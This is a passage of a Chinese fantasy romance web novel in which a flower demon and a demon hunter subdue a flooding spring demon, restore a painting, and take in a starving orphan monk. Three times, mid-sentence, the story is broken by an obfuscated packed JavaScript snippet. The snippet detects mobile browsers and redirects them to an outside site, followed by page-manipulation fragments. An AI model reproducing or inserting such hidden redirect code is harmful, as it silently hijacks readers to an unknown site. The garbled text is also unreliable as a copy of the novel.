沈灵均道,“不是每个人都像你一样,喜欢直接动手。冷静点。” 杨冰洁向前走了几步,终归是放不下,犹犹豫豫地折回来,呆呆地望着斑斓的蛇身。 “应该好好安葬它。” 郁离忙道,“是,该挖个大坑,立个墓碑,每年回来祭扫。” “蛇姨说过,身死之后,要一把火烧个干净。” 郁离大惊,“在山上纵火,那可万万使不得。” 杨冰洁沉下脸,“与你何干?” 郁离小心翼翼道,“我想和你一起。不管你要做什么,我都想和你一起。” “一起吃老鼠么?” “老鼠?!那……倒也不是不行。不过能不能……能不能煮熟了再吃?” 杨冰洁肩头微颤,似乎是轻笑了一声。 “还有什么?哪怕是上刀山下火海,我绝不皱一下眉头。不瞒你说,郁某如今已是声名狼藉,还望杨姑娘不要嫌弃。” 杨冰洁注视着他。离得这么近,比以往躲在竹林间看得清楚多了。他现在的样子惨不忍睹,脸上又是伤又是泪,眼中盛着两汪水,眼底却有笑意,依稀是当年那个无忧无虑的画室学徒。 她想移开眼睛,却怎么也做不到。 “告诉你我想做什么,我想抹掉这条恶心的疤,治好喉咙的伤,把身上不对劲的地方都丢掉,脱胎换骨,做个新的杨冰洁。但,那都是不可能的。” 郁离摇摇头,“这个旧的已经很好了。郁某生平所愿,就是和这个旧的杨冰洁一起,寻个山清水秀的地方,耕田织布,种花煮茶,林间作画,过最平凡的日子。我和全家反目,把婚书抢了出来。当年的婚约仍在,你可不能……不能食言。” 杨冰洁再也忍不住,扑到他怀里,嚎啕大哭,“你骗人!” 郁离这时终于发现自己还有两条胳膊,可以牢牢地抱住她,“是真的,不信我回家拿给你看。” 两张脸紧紧贴在一起,饱经风霜的嘴唇吻上破碎的嘴唇,苦的涩的咸的酸的泪珠,滴在舌尖上,全部都变成甜的。 季月突然感觉脸上有湿湿的东西滑过,伸手一摸,沾了满手的露水。 她外表看起来和人一样,只是身为花妖,血管里流的是汁液,眼中掉下的是露珠。 她这是……流泪了? 沈灵均推了推她的胳膊,“走了,别看了。” “别吵”,她嗔道,“正是精彩的时候。” 轰隆,山体和大地连接的部分猛地一震,头顶的暗淡天光中,洒下大颗大颗的雨点。 风里的腥臭味顿时减弱。 那雨的气息格外熟悉。 季月心中一凛。 泉妖出水了。 51. 不与离人遇(十) 三十里玉川像一条银链,翻滚沸腾,上涨的水流没过河堤,在岸上形成大大小小的泉眼,喷发出滔天怒意。 镜湖方圆五里成了一片汪洋,树木房屋都泡在水里。人们拼命往高处逃。 水面上只露出湖心亭六角形的尖顶,尖顶之上,现出一抹蓝色的影子,深邃的五官扭曲,一脸乖戾之气。 前几日泉妖躲在湖底,一边养伤一边盘算,出来以后定要大闹一场,先水淹南安县,再带离公子回妖界。 到了自己的地盘,看他还怎么反抗。 不料这可恶的月季,不知往水里放了什么东西,差点没把他呛死。伤还没好全,就被迫浮出水面。 他感应了一下月季的气息,在北边。硬拼是不成的,还是暂且避开。嗖地一声,人形消失,化为一股清泉,引着雨团一路向南,所到之处,水漫金山。 沈灵均带着季月沿河搜索,不一会儿就到了庆真楼。楼顶高台之上挤满了惊恐的客人,扒着栏杆向下望。 他把她放在人群中,丢下一句,“待在这儿别捣乱”,便转身飞掠而去。 季月不满地瞪着他的背影,“捣乱?说谁捣乱呢?” 人群动了动,给她让出个观景位。 沈灵均顶风冒雨疾飞,豆大的雨点打在脸上,仔细一闻,竟有些辛辣之气。 他略一思索,掏出银色的捆妖索,低声念了个诀,扔进玉川。 绳索入水,如同一尾银蛇,飞快地逆流而上,过了两座桥,突然失了动力,沉入水底。 沈灵均把它捞起来,又念了一遍诀。绳索精神一振,再度入水,光芒大盛,向反方向追击。 如此反复数次,又跑回庆真楼,捆妖索彻底失了力气,蔫了吧唧地浮在水面。 高台上的人眼尖,“沈大人这跑来跑去的,干什么呢?” “捉妖吧。” “怎么像在遛乌龟啊?” “胡说,乌龟哪有这么快的?” “我家的乌龟游得比这还快呢!不信带你去瞧。” 季月好奇心起,凑过去,“这位兄台,你家住何处啊?我也想去看乌龟。” 眼看河水已经淹掉半层楼,高台下方,沈灵均拔出斩妖剑,引了一道雷劈向水中。 这是动真格了。 天雷一道接着一道,瞄准大大小小的泉眼,由南向北扫荡。泉眼一被劈中,便冒出大股青烟,逐渐干涸。 劈了一炷香的工夫,沈灵均目光一凝,举剑刺向一个急速移动的漩涡。 “哪里走!” 漩涡中剑,喷出一股两层楼高的清泉。泉妖的身影在水中若隐若现。 “多管闲事!” 沈灵均朗声道,“你残害无辜,为祸世间,人人得而诛之。” 泉妖更不答话,水柱激射而出,对准沈灵均的脸,寒光一闪,水柱从中而断,天女散花般喷洒。 沈灵均正要乘胜追击,突然一股辛辣之气迎面袭来,一时竟无法呼吸。 动作凝滞的瞬间,泉妖合身扑上,将他连人带剑拖下了水。 高台之上,季月正和那养乌龟的大哥聊得起劲,忽听身旁一个姑娘惊呼,“沈大人落水了!” 她微微一怔,探出身子,果然见到水面上冒出一个极大的漩涡,水花翻腾,显然下面斗得正酣。 又过一阵,漩涡渐渐平息,谁也没有浮上来。 旁边的姑娘大声哭道,“不好,沈大人淹死了。” 季月明知沈灵均有法力在身,绝不会如此不济,可听着那姑娘一声接一声的哭喊,也不由地心慌起来。 沈灵均并没有淹死。他一落水,就默念避水诀,挺剑向泉妖刺出。 水中的辛辣之气重得难以忍受,恐怕里面的鱼、虾、乌龟都已经被辣死了。 泉妖正是被这辛辣之气逼出水,这时将沈灵均拖下来,正是伤敌一千,自损八百。 一人一妖出全力相斗,都想尽快把对方制服,好浮上去喘一口气。 然而他们斗得越狠,就沉得越深,周遭越来越暗,沈灵均感到背上似有千钧之力,眼前一片漆黑。 泉妖占了上风,桀桀怪笑,放出个巨大的水球,把沈灵均裹在里面。 水球越变越小,越转越快。沈灵均只觉得五脏六腑都挤在一起。 嗤,一团火光从掌心升起。 光亮映出泉妖狰狞的脸,映出四周飘摇的水草,映出成群逃离的游鱼。 原来它们还没被辣死。 游鱼上方,有一团眼熟的淡黄色影子。妖气扑面而来。 沈灵均大惊。 季月! 她又来捣乱了。一个泉妖还能对付,若再加上她,胜败之势立刻逆转。 淡黄色的影子越来越近,下沉到泉妖身后,沈灵均大急,剑掌齐发,不管不顾地全力进攻。 掌力击中泉妖,将他弹出三尺远,剑气在他胸口穿了个大洞,正中那抹淡黄色的影子。 掌中火熄灭,周遭全暗。 沈灵均大骇。 他击中了季月? 不等再次引火,腰间突然被什么东西卷住,整个人向上飞去,辛辣的河水自觉让开一条通道,他像被钓竿钩中的鱼,身不由己地浮出水面,甩到岸边一棵柳树顶上。 水下,季月收回枝条,卷住漂浮的泉妖。他前胸的大洞宽达一尺,游鱼在里面穿进穿出,已经昏死过去。 季月骂了句,活该,掏出铜镜,默念口诀。 黑暗的水底金光大盛,铜镜飞起,露出裂隙,一息之间,变得像一扇门那么宽。季月提起泉妖,硬把他往里塞。 腿进去了,肚子进去了,肩膀进去了,只剩下脖子和头,眼看就要大功告成。泉妖蓝色的眼睛猛地睁开,龇牙咧嘴地大喊,“离公子!我要带他走!” 季月迎面送了他一掌。 那张魅惑至极的脸彻底被裂缝吞没,金光闪动,镜子复原,落回季月手中。 她长出一口气。总算把这讨厌鬼送回去了。 像他这样爱惹是生非的,还是待在妖界的好。 方才被剑气伤到,胸口隐隐作痛,她忿忿地想,沈灵均下手可真狠。 早知道就不下来帮他了。 这水中的辛辣之气闻久了,连自己都受不了。季月皱着眉,捏住鼻子,向水面浮去。 泉妖一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084258|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失,大水立刻退去,湿漉漉的柳枝一点点露出水面,随即,树干和树根也露了出来。肆虐大街小巷的水流如百川归海,回到玉川之中。天空恢复晴朗,豆大的雨点倏忽而来,倏忽而去,没有留下任何痕迹,仿佛什么都没有发生。 沈灵均跪在岸边,心乱如麻。 明知道季月妖力深不可测,那一股剑气即使击中,也伤不了她,但悔恨之情如汹涌的潮水,无法遏止。 大水退了。 她根本不是去捣乱的。相反,是去对付泉妖的。 就因为她在竹林里和县衙前两度出手,阻他捉妖,他就想当然地以为,她站在妖那一边。 其实大错特错。她自从来到南安县,总是站在弱者一边,为他们打抱不平,身为妖,却比那些道貌岸然、假仁假义的人,更能明辨是非。 枉他自以为看穿了她。 水底黑暗混乱,他没有看清她的脸,也就无从猜测她的想法。 万一她发了怒,与他正面相斗,怎么办? 万一她再也不把他当做亲近之人,怎么办? 他对着涟漪胡思乱想,直到水面彻底平静,倒映出自己焦灼的脸。 季月还没出现。 沈灵均愁眉紧锁,深吸一口气,准备再度潜下去看看。 恰在此时,几步远处,一只浮肿的手抓住垂到水面的柳枝,嫩绿的浅草间多了一抹鹅黄,季月浑身滴着水,从湖里爬了上来。 沈灵均赶紧奔过去。 季月甩掉面上湿发,狠狠瞪着他。 她正在酝酿该怎么骂他。 忘恩负义?心狠手辣?狗咬吕洞宾,不识好妖心? 倒是他先开口了,装得一脸无辜,“你怎么掉到湖里去了,有没有受伤……” 他脸上的表情突然变得很古怪,眼神闪烁不定,似乎想笑,又强行忍住。 “干嘛?”她斥道,“我脸上有东西吗?” 说了几个字,自己也觉得不对劲,脸上麻麻的,木木的,感觉大不一样。 她抬手一摸,皮肤竟然松松垮垮,好像里面灌满了水。 再看自己的手,吓了一大跳,手指有平时的两倍粗,每根指节都肿得像灌汤包,一动,里面的水就晃来晃去。 沈灵均下意识地伸出指头,戳在她左脸颊。 一股涓涓细流喷了出来,落入水中。 季月顿悟。她在湖里泡得久了,吸收的水太多,汁液都从血管里渗了出来,被皮肤兜住。脸上的皮肤薄,稍加外力,就会呲水。 她回身趴在岸边,看向自己的倒影,倒吸一口凉气。 这肿如猪头的脸,活像邻居许大娘家发酵的面团,五官都撑开了,看起来要多古怪有多古怪。 千娇百媚的月季花,鲜艳明媚的月季花,怎么会变成这个样子?! 她发出一声尖叫。 沈灵均犹犹豫豫道,“季姑娘,你……” 季月推开他,撒腿就跑。 一边跑,一边感觉脚底下在漏水,鞋底在石板路上不停打滑。 路人惊异的目光中,她飞快举袖挡住脸。 这回,当真是没脸见人了。 52. 不与离人遇(十一) 沈灵均很想跟过去看看。按理说,他的剑气不会导致肿胀,是湖里的什么东西袭击了她?还是她吞吃了泉妖,身体被水撑大了? 她的真身到底是什么? 好奇归好奇,思来想去,终究是求生欲占了上风。她明显正在气头上,这个时候,不必送上门去寻晦气。 他施施然拐了个弯,往小仓山走去。 辗转回到蛇妖居住的山洞前,郁离和杨冰洁竟还没走。两个人久别重逢,执手相看,一会儿哭,一会儿笑,都忘记了身在何处。 见沈灵均突然出现,郁离“啊”了一声,挡在杨冰洁前面。 沈灵均奇道,“郁公子这是做甚?” “别抓她!她不是妖!” “那你挡着她干嘛?” “对哦……我……有些糊涂了。” 他讪讪地退开。 沈灵均面无表情,“你身为人犯,私自出逃,要抓也是抓你。” 郁离张大了嘴,杨冰洁走上前,盈盈拜倒,“求沈大人高抬贵手饶了他吧。我们立刻离开南安县,再也不回来。” 沈灵均侧过身,不受她这一拜,“我是捉妖师,抓人的事,归知县大人管。” 他踢了踢脚下蛇尸,“这条蛇,我要带回去。” 有了妖尸,徐知县拿去上奏表功,若能得到上头的奖赏,多半就不会再追究此事了。 杨冰洁手抚蛇身,忍不住潸然泪下。她遭逢大难,死里逃生,巨蛇之于她,无异于再生父母。 郁离跪倒在她旁边,两人对着蛇尸,拜了三拜。 沈灵均召出缚妖袋,念动口诀,乱石丛中玄光大盛,巨大的蛇身寸寸溶解,化为无数斑斓的鳞片,没入袋中。 沈灵均收回法器,扶起二人,“此蛇躲在深山之中,法力又弱,我和师父一直没有察觉。若是早几年发现,或许你们二人也能早点团圆。” 郁离道,“我们能有今日,已深感上苍恩德,不敢再有丝毫怨言。” 沈灵均叹了口气,“银子够不够?若信得过我,可暂居沈府一晚,明早我派车送你们走。” 杨冰洁瞪大眼睛,似乎不敢相信。郁离却欢欣鼓舞,“多谢沈大人!” “其实南安县也不是人人都刻薄残忍。坊间八卦隔日翻新,正如清风过耳,来得快去得也快。泉妖已经消失。我敢保证,不出三个月,再没人记得郁公子这桩公案了。” 郁离压低声音,“怕是没那么快,公堂上还挂着那幅画呢!” “唔,那个是有些麻烦。” 杨冰洁犹豫再三,问道,“季姑娘如何了?” 沈灵均犀利的目光射过来,“她与此事有什么关系?” 他原本以为托季月劫狱的是泉妖,如今看来,更可能是这位杨姑娘。 杨冰洁眼神躲闪,不敢多言。 郁离道,“沈大人你忘啦?她也受了泉妖欺辱,不过,上回经由我一番开导,似乎已经想开了。” 沈灵均又是好笑,又有些动容,“放心吧,我会看顾她的。妖邪已然肃清,从此以后,百姓无需担惊受怕。这也是我身为捉妖师的职责。” 杨冰洁眉头微蹙,吞吞吐吐地说,“蛇姨藏身小仓山多年,从未害过人,反而救了我的性命。沈大人日后捉妖,下手之际,若能想一想蛇姨,小女子永感大恩。” 沈灵均探究地打量她片刻,淡然道,“沈某记下了。” 五日后。 季月睡到日上三竿才起床,起来后先在菱花镜中照了照。水肿早已褪尽,容光焕发,美貌依旧。 她得意一笑,准备动身去找沈灵均。算算时间,县衙的人也该发现了。 大门一开,韩家的马车刚好停下,韩思年火急火燎地跳下来。 季月后知后觉地想起,有日子没见到他了。 他冲到季月面前,小心翼翼地打量着她,像在看一个重病垂危之人。 “季姑娘,你没事吧?” “啊?” “我听人说,你跳湖自尽,被捞上来的时候脸都泡肿了。” 季月咬牙,“这是谁传的谣言?!” 韩思年不自觉地朝隔壁许家的方向瞥了一眼。“坊间都传遍了,说你被妖迫害,失了清白,一时想不开……” 季月深深吸了口气,“多谢韩公子关怀,我如今已经想开了。” “可我想不开!”韩思年突然提高嗓门,“我细细回想,那日我来琳琅阁,是与妖打过照面的!我看见你们动作亲密,还以为……还以为你是自愿如此。如果我当时勇敢一点,冲进来阻止,或许就能把你救下了!” 季月哭笑不得,“你不会法术,还是不要勉强吧?万一那妖连你一起吃了呢?你看我现在,不是好好的吗?” 韩思年神色复杂。看过公堂上那幅画的人,都明白那妖是如何残害人的。季月看起来一如从前,可事情已经发生,有些伤害是无法挽回的。 他慨然道,“我在家闭关读书十日,想明白一个道理,我根本就不是考科举的材料。我要拜入神巫署,学习捉妖术法,为民除害。我要斩尽世间妖邪,把你受的委屈,变本加厉地讨回来!” “斩尽妖邪?” “不错。” 他一脸坚毅,眼中似有两团火焰。季月从没见过他这么狂热的样子。 她的目光却一点点冷了下来,“既然韩公子有此志向,那便祝你马到成功。我还有事,先行一步。” 韩思年看着她纤细的背影,感到一阵阵心痛。 自从季月出现的第一天,他就心摇摇如悬旌,对她日思夜想,难以忘怀,只因为从小到大,从没见过这样的女子。她身上有一种说不清道不明的气息,和南安县的所有人都截然不同。 她总是语出惊人,好像什么都不懂,行事却每每出人意料。别人听着皱眉,韩思年却以为新奇有趣。 可她再离经叛道,终究是个未出阁的女子。女子的清白重于性命,经此一事,她再也回不到从前了。 都怪那害人的妖孽!若不把他们赶尽杀绝,以后还会有更多的季姑娘,珠陷泥沼,美玉蒙尘,白璧微瑕,令更多的韩思年痛苦懊悔,捶胸顿足,扼腕叹息。 他哪里知道,季姑娘不是珍珠,不是美玉,不是白璧,甚至也不是人。 季月闲闲溜达到县衙前,街上依旧围满了百姓,对着公堂上的画指指点点,议论纷纷。 只不过人们的话音变了,从猎奇转为惊异。 “怎么一夜之间变回来了?” “谁知道呢,莫非是天一道人显灵了?” “天一道人还没有死,如何显灵?” “可惜,原先的那幅我还没看够呢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084259|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你还没看够?你都偷偷地临摹下来了!” 季月听得咯咯直笑。 阳光经由敞开的大门,洒在公堂之上,明镜高悬匾额下的巨型画像,已经变回三足金乌展翅高飞的样子,硕大的翅膀矫健有力,发光的眼珠活灵活现,连羽毛尖尖都跟真的那只分毫不差。 若不走近细看,谁也瞧不出来,那层金版比原来薄了些,被削去过一层。 沈灵均从县衙出来,扫了一眼人群,径直走向季月,“老远就见你站在这里傻笑。” 季月拉住他的衣袖,“沈大人,你快看,画变回来了!” 沈灵均笑笑,“一大早衙役们就发现了。徐知县大喜过望,摆了一桌庆功宴,晚上请大家喝酒。” 季月眨眨眼睛,“庆功?庆谁的功呀?” “自然是知县大人领导有方,才使得妖孽伏诛,拨乱反正。” “我还以为是你的功劳呢。恭喜你啊沈大人,这下不用死了。” “何意?” “你不是说,此画是你师父天一道人费劲千辛万苦,带回的祥瑞之图,一朝被毁成了春宫图,等你师父回来,会取你性命吗?” 沈灵均想了想,好像还真如此暗示过。 他眼中闪过一丝狡黠,“我师父为人严厉不假,不过就算画毁了,也不是非死不可。” “啊?” 他凑近她耳边,低声道,“大不了就学郁公子和杨姑娘,远走高飞。” 季月嘴唇颤抖,“你……你骗我!” 亏她半夜偷走画板,刮掉春宫图,又专门跑了一趟妖界,在旭日初升之时,追逐三足金乌,让它的光芒映射在金版之上,才烧灼出一幅新的祥瑞图。 早知道他可以不死,何必费这个力气! 沈灵均扬起眉毛,“你这么激动做什么?真以为我要死了?” “……” 他仰头望天,感慨道,“其实这几日我想了很多,人活一世,何必为条条框框所限,只要遵从自己的本心就好。师父要责罚,便坦然接受。实在受不了,总可以逃跑的。” “……” “谁知世事多变,否极泰来,不知何方神圣显灵,竟在一夜之间复原了三足金乌图。我们整个南安县县衙都欠她的恩情啊。” 季月在心里大喊,“是我是我是我!” 沈灵均假意怅然道,“只可惜,神龙见首不见尾,没有机会当面道谢了。” 季月看着脚下,脸憋得通红,嘴巴鼓了起来。 沈灵均从眼角看着她,心里乐开了花。她还真是,可爱得无可救药呢。 和煦春风拂过,枝头的柳絮纷纷扬扬,四处飘洒。一团柳絮落在季月肩头,沈灵均很自然地伸手拂去。刹那间,在她身上现出了一朵鲜红的月季花的影子。 花枝笔直粗壮,叶片青翠欲滴,花瓣含清露,花心一点红,只是硕大的花盏微微垂下,略显懊丧的样子。 他看得呆了,眼瞳中映出两点绯红,周遭的一切似乎都不存在了。 “原来……” 花盏转过来,正对着他,“什么?” 沈灵均眉眼舒展,粲然一笑,“原先未曾留意,不知春色如许。” 花盏转过头,迷惑地去检视那大好春光。 而他只想把整个春天拥在怀里。 53. 仁义抵万金(一) 子夜。 啪嗒,啪嗒,啪嗒。 慌乱的脚步声,响在空无一人的街道上。 对一双天生灵敏的耳朵而言,静夜会放大一切声响。 风吹树叶的沙沙声,鱼虾跃出河面的扑通声,远处猎狗吠叫声,更夫打更声。 脚步声隐匿其中,轻而浅,几不可闻。 若非轻功高手,绝不会有这样的脚步声。 季月翻了个身,继续听。 噔噔噔噔噔噔。 一连串杂乱的脚步声跟来了,两个人,四条腿,重而急躁,好像并不怕惊扰四邻,引起注意,一心向目标追击。 轻而浅的脚步声穿桥、上树、绕路,时隐时现。 重而乱的脚步声跟在后边,兜了几个圈子。风中传来气喘吁吁的怒骂。 “该死的小兔崽子,腿脚倒灵便!” “抓回来一刀砍了……” 季月坐起身,暗自琢磨。小兔崽子……莫非他们追的是只没修炼到家的兔子精? 轻而浅的脚步声在望月桥下迂回片刻,走上了通往琳琅阁后门的小路。 季月伸长身体,从窗户钻了出去,穿过后院,两根枝条搭上门楼,下巴架在院墙顶上。 月明星稀,银辉曳地,满院清光,昨日刚洒下的种子在泥土里安睡,墙外,道路尽头出现了一个小小的黑影。 光头,短手,短腿,大脚,脸色惊慌,跑得上气不接下气,怀中紧紧抱着一颗巨大的……白菜? 季月眨眨眼睛。看起来不是兔子精,是个十岁不到的小和尚,瘦骨伶仃,僧袍里灌满了风,鼓得像船帆一样,几乎能带着他飞起来。 难怪脚步声这么轻。 似乎想逃避月光的追逐,小和尚一闪身,躲进琳琅阁后门的阴影里。 缀满补丁的僧袍刚贴到那两扇乌木门,门突然无声地开了。 他想也不想就钻了进去,虚掩上门,扒着门缝张望。 白菜紧紧地贴在怀里,心跳响如擂鼓。 这么响的心跳声,一定会被两位师兄听见的! 万一被他们抓回去,小命难保。 小和尚全神贯注于门外,没注意到背后窸窸窣窣的声音。 来了! 人高马大的慧觉师兄和膀大腰圆的慧能师兄,一前一后跑过来了,他们扫视街道两边,冒着凶光的眼珠子几乎和他的目光对上了。 小和尚用手捂住嘴巴。 慧觉师兄看着地上,比了个手势。慧能师兄弯下腰,捡起一片白菜叶子。 小和尚浑身的血液都凝固了。 他们发现了! 四百多斤的重量,同时撞向乌木门。砰砰两声巨响,两名大胖和尚像炮弹一样,越过小和尚,摔在院中泥土里。 小和尚发一声喊,推门就想跑,可那两扇乌木门无故锁死,怎么也打不开。 慧觉师兄和慧能师兄骂骂咧咧地爬起来,正要扑过来,泥土突然像活了一样,伸出许多只小手,拉扯他们的脚。小腿埋进去了,膝盖埋进去了,半个身子埋进去了。任凭他们如何挣扎,身体却越来越重,不住下陷,到最后,只剩两个头露在外面。 两张汗津津的脸在月色下发着光,表情惊骇至极。 “这院中有鬼!” “啊!你看上面!” 慧觉师兄喝慧能师兄双双仰起头,盯着门楼上方,发出肝胆俱裂的尖叫。 小和尚慌忙转身。 褐色枝条如同爬山虎,爬满了整面院墙,在最上方汇聚,托起一张千娇百媚的美人脸,肌肤莹白如玉,朱红色的眼瞳,在漆黑的夜空中发着光。 美人邪魅一笑,樱口微张,问道,“三位师父深夜来访,有何贵干啊?” 三位师父得见此情此景,均吓得魂不附体,只觉得耳中嗡嗡作响,天旋地转,一个接一个晕了过去。 小和尚再醒来的时候,发现自己身处一间雅致的卧房。明晃晃的太阳不偏不倚照在脸上。整个人如同躺在一朵软云里,床帐、褥子、云被都异常洁净,仔细一闻,还有股淡淡的芳香。他从小在积善寺吃苦受罪,三九天也是睡地铺,何曾有过这样舒服,当下只觉得飘飘欲仙,巴不得就此躺下去,再也不起来。 这念头只转了一瞬,猛地想起慧觉师兄和慧能师兄。他们两个抓不到他,绝不会善罢甘休的。 他一个激灵弹起来,下床奔到门口。雕花木门一推即开,春日香风迎面而来。小院中篱笆交错,隔出许多方块,形似迷宫,泥土刚被翻过,其中一个方块里,矗立着两颗肥大的光头,远远望去,恰似两颗光滑平整的土豆。 小和尚战战兢兢地走过去,绕到正面。只见慧觉师兄和慧能师兄双眼紧闭,光头被太阳晒得流油,一行行汗水顺着脸颊流下来,嘴唇干裂,人事不省。 他双手合十,暗暗祝祷,“佛祖保佑!千万别让他们醒过来!” 默念了三遍,打量四周,一颗溜光水滑的大白菜歪倒在不远处。 他对这白菜宝贝至极,跑了一整晚都不肯丢弃,当下飞奔过去,抱在怀里。 头顶传来一道清亮的声音。 “哟,你醒啦!” 小和尚霎时浑身冰凉,动弹不得。 他记得这声音!正是昨晚墙上那张脸所发! 红裙冉冉靠近,停在身后,季月居高临下,笑眯眯地看着他。 小和尚僵硬地转过身,和那张妖媚的脸对视片刻,视线下移,盯在季月的绣花布鞋上。 他下意识咽了口唾沫,喃喃道,“有脚的,不是鬼。” 季月瞪起眼睛,“说什么呢!” 小和尚吓得手一抖,白菜又掉在地上。 “对……对不住,昨晚月黑风高,乍见女施主爬在墙头,还以为是……闹鬼。” 最后两个字细如蚊鸣,几不可闻。 季月不屑道,“少见多怪。我晚上活动一下筋骨而已。倒是你们三个和尚,半夜三更,一个逃两个追,玩的什么把戏?” 小和尚瞥了一眼两名师兄的头,双膝跪地,哭道,“女施主救命,他们要将我投井啊!” “土里那两个?” “是。小僧从小无父无母,被积善寺的广义方丈收留,剃度出家,法号慧心。左边那个长脑袋,是慧觉师兄,右边那个圆脑袋,是慧能师兄。他们要把我抓回去,扔进池塘边的一口深井里,就因为我偷拿白菜。” 季月噗嗤一声笑了,“为这么一颗菜,至于吗?你还给他们得了。” 慧心又把菜捡起来,拍去尘土,抱在怀里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084260|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “寺里种的白菜又大又脆,我五天没吃东西,实在饿得不行了,才半夜起来偷菜。” “干嘛不给你东西吃?” 慧心双手合十,“师父说这叫辟谷,是佛门弟子修炼之法。” “你们寺里饿死过不少人吧?” 慧心大惊,“女施主怎么知道?” “废话。不吃东西怎么活?” 慧心大摇其头,一对招风耳几乎甩到脸上,“不,不,方丈和师兄们并不是天天辟谷。我是因为洒扫禅房不净,才受辟谷七日的责罚。可是我们积善寺,确实死过不少人!” 他压低声音,眼神惊恐,“方丈慈悲为怀,寺里几乎每月都收留新的弟子,可我们做早课的蒲团,一直都是六十七个,一个不多,一个不少,从没有蒲团空着,也从没有人坐不到蒲团。女施主可知道这是为什么?” 季月听了这一串绕口令,脑子打结,“……莫非有人不做早课?” “人人都要做早课!只因为我们寺里,连方丈在内,一直都是六十七人,一个不多,一个不少。” 慧心掰着手指,“单说今年,除夕之后,慧灵师兄就没了踪影,方丈说他回乡探亲了,二月里不见了慧净师兄,说是外出化缘走失了,三月里不见了慧闲师兄,说是尘缘未了,还俗去了,前几天,后厨的李伯伯也不见了,至今没个说法。寺里每进来一个新人,就莫名消失一个旧人,活不见人,死不见尸。” 季月感到背后升起一股寒意,“会不会是他们自己不想待了?” “女施主有所不知,我们都是无依无靠的孤儿,离开积善寺就没了生计。我和慧灵师兄最为要好,他跟我说,他是生在大运河上,随船来到南安县的,父母家乡一概不知,被船工用虾子喂养大。方丈所谓的回乡探亲,根本就是假话。” 慧心大着胆子扯了扯季月的袖子,凑到她耳边,“依我看,他们都被投进池塘边的那口深井了。” “你见到了?” “没有,可他们抓住我偷菜后,也要把我扔进去。我被架在井口的时候,亲耳听到了冤魂叫屈的声音,从很深的地底下飘上来的,慧灵师兄、慧净师兄、慧闲师兄,还有李伯伯,声音叠在一起,反反复复说着同一句话,我死得好冤啊。” 季月抱住胳膊。这小和尚太能说了,听得她起了一身鸡皮疙瘩。 “以你所说,是方丈杀人填井,害得寺里闹鬼?” 慧心重重点头。 “杀人的事,归县衙管。闹鬼的事……我上回听说,修道之人也会捉鬼的。你认不认识沈府?喏,出门往南,过桥,沿着河走,看见放生桥转弯,穿过朱雀大街,再往东拐……” 她还没把这一长串路线说完,慧心就扑上来抱住她的腿,白菜又掉在地上。“我不出去,他们定会派别人来抓我的。你会法术,是个好人,求求你收留我吧!” 季月扬起眉毛,“谁告诉你我会法术,还是好人?” 慧心一指那两颗大土豆,“是你施法术把他们埋起来的,你救了我。” 他昨晚吓晕了,醒过来后,细细回想,明白了必是有人暗中相助。他向来聪明,又擅察言观色,已经看出季月虽然外表唬人,却没有恶意。 季月眯起眼睛,哂笑,“你这孩子,有点见识。” 54. 仁义抵万金(二) 季月把慧心领到厨房,告诉他敞开了吃。小和尚狼吞虎咽,把瓜果点心扫荡一空,又连吃了三大碗白米饭,面露痛苦之色。季月哪里知道久饿之人不能这样猛吃,以为他还没吃饱,便提议把那颗大白菜下锅煮了。 慧心摇头,“我今日有的吃,难保明日不会挨饿,这颗白菜得留着保命。” 季月不禁唏嘘。南安县繁华富庶,她平日所见之人大都衣食无忧,没想到还有慧心这样的可怜孩子。 “你今年多大了?” “不是九岁,便是十岁。师父收养我的时候,我还是个襁褓中的婴儿,到底多大,谁也说不清。” 慧心费力地咽了口唾沫,“不知姐姐芳龄几何?” 他在积善寺中,曾听慧灵师兄传授讨好女香客的法子,此时活学活用,擅自把称呼从“女施主”改成了“姐姐”。 季月笑嘻嘻道,“我五百多岁了。” 慧心一口饭呛在喉咙里,咳了半天,“怎么可能?!” “不信拉倒。” 慧心又惊又疑,眼珠子滴溜溜地转,“那姐姐定是天上的仙女下凡!” 季月狡黠一笑,“又猜错了。” 慧心不敢再猜,咕嘟咕嘟灌下去半碗水,觉得肚子胀得快要裂开了。 “我……我好像站不起来了。” “那你歇会儿吧,姐姐要出门转转。” 季月行动如风,一转眼就穿过院子,到了门边。 慧心冲着那红衣背影喊道,“姐姐,慧觉师兄和慧能师兄还埋在土里,如何是好?” 季月头也不回,扔下一句,“浇点水,施点肥。你看着办吧。” 沈灵均拐进朱雀大街,仰望那熟悉的高楼华堂,雕栏画栋。 庆真楼易主之后,气派更胜往昔,吃食的味道却大不如前,门口再也没有排长队的客人。 